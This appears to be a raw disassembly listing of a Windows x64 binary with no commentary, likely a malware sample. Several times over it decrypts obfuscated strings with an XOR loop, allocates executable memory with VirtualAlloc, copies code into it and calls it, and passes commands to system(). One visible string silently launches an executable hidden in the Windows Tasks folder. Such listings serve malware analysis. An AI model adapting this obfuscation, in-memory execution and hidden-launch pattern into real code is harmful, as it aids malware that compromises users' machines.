movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003f5a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x440]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [0x140056210]
movups xmm1, xmmword [0x140056220]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140056230]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140056240]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003f7ed
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x14003f700
jmp 0x14003f82a
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x14003f800
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x448], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14003f899
mov rdx, r13
nop
cmp rax, rdi
je 0x14003f888
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003f870
jmp 0x14003f899
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003f980
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003f8c2
mov r8, r13
jmp 0x14003f95f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003f8d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x448]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
lea rcx, str.cmd__C_C:WindowsSystem32Taskswinxsrcsv64.EXE__SU_AUTO__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [0x140055fa0]
movups xmm1, xmmword [0x140055fb0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140055fc0]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140055fd0]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003fb2d
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x14003fa40
jmp 0x14003fb6a
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x14003fb40
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x450], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14003fbd9
mov rdx, r13
nop
cmp rax, rdi
je 0x14003fbc8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003fbb0
jmp 0x14003fbd9
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003fcc0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003fc02
mov r8, r13
jmp 0x14003fc9f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003fc10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x450]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [0x140056250]
movups xmm1, xmmword [0x140056260]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140056270]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140056280]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003fe5d
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x14003fd70
jmp 0x14003fe9a
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x14003fe70
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x458], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14003ff09
mov rdx, r13
nop
cmp rax, rdi
je 0x14003fef8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003fee0
jmp 0x14003ff09
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003fff0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003ff32
mov r8, r13
jmp 0x14003ffcf
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003ff40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x458]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov edx, 0x10
lea rcx, [rbp + 0x40]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [str.u_rdnSUXRIL]
movups xmm1, xmmword [0x140056400]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140056410]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140056420]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14004018d
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x1400400a0
jmp 0x1400401ca
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x1400401a0
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x80]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x460], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14004023b
mov rdx, r13
cmp rax, rdi
je 0x14004022a
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140040212
jmp 0x14004023b
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140040320
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040264
mov r8, r13
jmp 0x1400402ff
mov rax, rdi
mov rcx, r8
mov edx, 3
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140040270
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x460]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x80]
call fcn.140043b70
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x40]
call fcn.140001a00
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x890]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0x18]
call fcn.140043070
mov r10, rax
cmp byte [rax + 0x37], r13b
je 0x1400404ea
mov r8d, r13d
cmp r14d, 2
jl 0x1400404bd
movdqa xmmword [rbp], xmm12
mov edx, r13d
mov r8d, dword [rbp]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x38
jl 0x1400403d0
jmp 0x1400404ea
mov r9, r10
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x1400404c0
mov r8, rdi
lea rcx, [rbp + 0x40]
mov rdx, r10
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x410], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x14004055b
mov rdx, r13
cmp rax, rdi
je 0x14004054a
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x140040532
jmp 0x14004055b
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x140040643
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140040588
mov r8, r13
jmp 0x140040622
mov rax, rdi
mov rcx, r8
mov edx, 3
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140040593
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x410]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x710]
call fcn.140043690
mov edx, 0x10
lea rcx, [rbp + 0x80]
mov rsi, rax
call fcn.14003a520
lea rdx, [rbp + 0xa0]
mov rdi, rax
lea rcx, [rbp + 0xe0]
call fcn.1400430b0
mov r10, rax
cmp byte [rax + 0x37], r13b
je 0x1400407fa
mov r8d, r13d
cmp r14d, 2
jl 0x1400407cd
movdqa xmmword [rbp], xmm12
mov edx, r13d
mov r8d, dword [rbp]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
